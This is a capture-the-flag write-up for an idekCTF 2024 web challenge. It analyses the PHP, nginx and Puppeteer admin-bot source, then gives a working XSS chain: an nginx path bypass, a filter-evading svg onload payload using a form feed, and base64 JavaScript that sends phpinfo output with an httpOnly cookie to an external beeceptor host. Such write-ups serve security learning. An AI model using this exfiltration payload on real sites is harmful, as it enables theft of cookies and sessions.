Challenge Description
name: hello
category: web exploitation
points: 136
ctf-date: Aug 17th, 2024
Just to warm you up for the next Fight :“D
Note: the admin bot is not on the same machine as the challenge itself and the .chal.idek.team:1337 URL should be used for the admin bot URL
Challenge Analysis
We’re given two links and a source code for the admin bot.
- challenge link: http://idek-hello.chal.idek.team:1337
- admin bot link: https://admin-bot.idek.team/idek-hello
Since the admin bot is not on the same machine as the challenge, we should expect that the flag will be retrieved using a technique like XSS, CSRF…etc
Let’s check out the challenge website:
Empty huh? Let’s take a look now at the admin bot page:
Apparently, we have a form that has a url section, we can submit a URL, and the admin bot will visit this URL for us. For example:
url: http://idek-hello.chal.idek.team:1337
Result:
Since the ‘admin’ will visit our page, maybe the page that the admin was at contains information that we want, a FLAG cookie for example, but in order to verify my claim, we have to check the source code of the application. Luckily for us, the source code is available, and has the following structure:
.
├── bot.js
├── docker-compose.yml
└── hello
├── Dockerfile
├── init.sh
├── nginx.conf
└── src
├── index.php
└── info.php
Alright, those are lots of files, let’s take a look at them in a way that will enable us to understand the logic of the application.
1. Setting up services using Dockerfile & docker-compose.yml
Here’s a summary of the Docker setup:
docker-compose.yml
:- Defines a
hello
service. - Builds the Docker image using the
hello
directory. - Maps host port
1337
to container port80
.
- Defines a
Dockerfile
:- Uses the latest Nginx image.
- Installs PHP-FPM and
nano
. - Copies Nginx configuration, website files, and an initialization script into the container.
- Sets the initialization script (
init.sh
) as the command to run, which starts PHP-FPM and Nginx.
The setup runs a web server with Nginx and PHP-FPM, accessible on port 1337
of the host machine,
which maps to the challenge webpage.
“PHP-FPM is an alternative PHP FastCGI implementation that was introduced to overcome the limitations of the traditional PHP-CGI (Common Gateway Interface). It works as a process manager, managing PHP processes and handling PHP requests separately from the web server”
“Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy…etc”
In a nutshell, nginx receives our request (from the browser..etc), processes the URL according to its configuration, if the path matches a php file, it passes the request to PHP-FPM for processing, receives a response and forwards the response back to us, effectively acting as a reverse proxy.
2. How the application works
a. the challenge webpage
Let’s take a look at the the two php files under the src directory:
index.php
<?php
function Enhanced_Trim($inp) {
$trimmed = array("\r", "\n", "\t", "/", " ");
return str_replace($trimmed, "", $inp);
}
if(isset($_GET['name'])) {
$name = substr($_GET['name'], 0, 23);
echo "Hello, " . Enhanced_Trim($_GET['name']);
}
?>
Explanation: This PHP script greets the user based on the name
parameter in the query string. It removes certain characters from the name
using the Enhanced_Trim
function and limits the length of $name
to 23 characters.
info.php
<?php
phpinfo();
?>
Explanation: This PHP script displays detailed information about the PHP configuration and environment on the server. It’s typically used for debugging and viewing PHP settings.
Interesting, we can see that the name query parameter is reflected in the index.php
page, which means we have XSS, albeit tweaked to fit the constraints imposed on us,
but what is the purpose of info.php
? Let’s find out.
“phpinfo — Outputs information about PHP’s configuration”
b. the bot webpage
/*
script revamped from corctf
this does not match the remote setup exactly, which uses the redpwn admin bot
this is just to facilitate local testing
npm i puppeteer
*/
let puppeteer;
const { parseArgs } = require("util");
const options = {
CHALLENGE_ORIGIN: {
type: "string",
short: "c",
default: "http://localhost:1337"
}
};
let {
values: { CHALLENGE_ORIGIN },
positionals: [ TARGET_URL ]
} = parseArgs({ args: process.argv.slice(2), options, strict: false });
if (!TARGET_URL) {
console.error(`\
Usage: node bot.js [-c CHALLENGE_ORIGIN] TARGET_URL
Arguments:
TARGET_URL: the url that the admin bot will visit
Options:
CHALLENGE_ORIGIN: the origin where the challenge instance is hosted
(default is http://localhost:1337)
`);
process.exit(1);
}
// visiting logic
puppeteer = require("puppeteer");
const sleep = d => new Promise(r => setTimeout(r, d));
const visit = async () => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
const ctx = await browser.createBrowserContext();
const page = await ctx.newPage();
await page.goto(CHALLENGE_ORIGIN, { timeout: 3000 });
await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });
await page.goto(TARGET_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(5000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
visit();
The script uses Puppeteer to:
- Launch a headless browser.
- Visit a specified
CHALLENGE_ORIGIN
URL. - Set an HTTP-only cookie named
FLAG
. - Navigate to a
TARGET_URL
. - Wait for 5 seconds.
- Close the browser.
It should be noted that during the CTF, CHALLENGE_ORIGIN was set to the challenge URL. With that out of the way, it becomes very clear, that the FLAG is set as an httpOnly cookie (can’t be accessed via document.Cookie), then the bot navigates to a TARGET_URL of our choice and closes the browser.
Our goal here is to retrieve the FLAG, but how?
Exploit
Remember the info.php page we seemed to not know what it was for? Well, it turns out
that phpinfo()
shows all cookies, even the httponly ones, so if we can visit the /info.php
page as the admin bot and retrieve its content to our local server, we will get the flag.
Not so fast though… Access to /info.php
is denied by the following rule in the nginx
configuration:
location = /info.php {
allow 127.0.0.1;
deny all;
}
Nginx denies access to an exact location /info.php
. If we navigate to something
like /info.php/whatever.php
, PHP-FPM processes the first php file and ignores subsequent files.
This is called an HTTP Desync attack, which arises from the subtle discrepancies in
which two technologies handle HTTP requests. Let’s try it out:
There we go! We bypassed the nginx rule, all there is left is creating an XSS payload
which adheres to the constraints, visits the /info.php
page and send its content to us
the attacker.
Exploit - continued
Before we craft the XSS payload, let’s first write the JS code which will be injected. It should look like this:
fetch('http://idek-hello.chal.idek.team:1337/info.php/whatever.php')
.then(response => response.text())
.then(data => {
return fetch('https://qtcbb221a681bbd53187f7c03c5c.free.beeceptor.com/save', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ content: data })
});
})
The script is simple enough, we first fetch the info page, with its response captured, we send it to our hosted server (I used beeceptor to tunnel my localhost) and retrieve the flag.
The server in case you are wondering looks something like this (written in flask):
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/save', methods=['POST'])
def save():
data = request.json
content = data.get('content', '')
# Save the content to a file
with open('out.html', 'w') as f:
f.write(content)
return jsonify({'status': 'success', 'message': 'Content saved!'})
if __name__ == '__main__':
app.run(port=5000, debug=True)
Alright, the last step now, how can we create the XSS payload. Let’s review the constraints:
- No
\n
- No
\r
- No
\t
- No
/
- No
(space)
Well that seems hard eh? we can bypass the forward slash contraint using a simple
<svg onload="eval(atob('<our-base-64-javascript-code>'))">
But how about the space?
Reverting back to Wikipedia, my source of information (kudos if you get the joke),
we see there exists a Form feed character (ASCII 12) - (0xC in HEX)
, that is considered whitespace by the C character classification function isspace().
Cool, let’s modify the payload to look like this:
<svg%0Conload="eval(atob('<our-base-64-javascript-code>'))">
Lastly, to deliver the exploit, we just have to send the payload as a query parameter for name
,
just like this:
http://idek-hello.chal.idek.team:1337/?name=<svg%0Conload="eval(atob('ZmV0Y2goJ2h0dHA6Ly9pZGVrLWhlbGxvLmNoYWwuaWRlay50ZWFtOjEzMzcvaW5mby5waHAvaW5k
ZXgucGhwJykudGhlbihyPT5yLnRleHQoKSkudGhlbihkPT5mZXRjaCgnaHR0cHM6Ly9xdDFlYTY4
M2EzNjhkYzY1ZDc2YTExM2Y3NGZiLmZyZWUuYmVlY2VwdG9yLmNvbS9zYXZlJywge21ldGhvZDon
UE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpT
T04uc3RyaW5naWZ5KHtjb250ZW50OmR9KX0pKQ=='))">
Click on submit…
There we go~
Flag is: idek{Ghazy_N3gm_Elbalad}
Things learned in this challenge:
- Always use regular expressions to match pathnames.
- Form feed character can be used as a whitespace inside html tags.
- Some scripting skills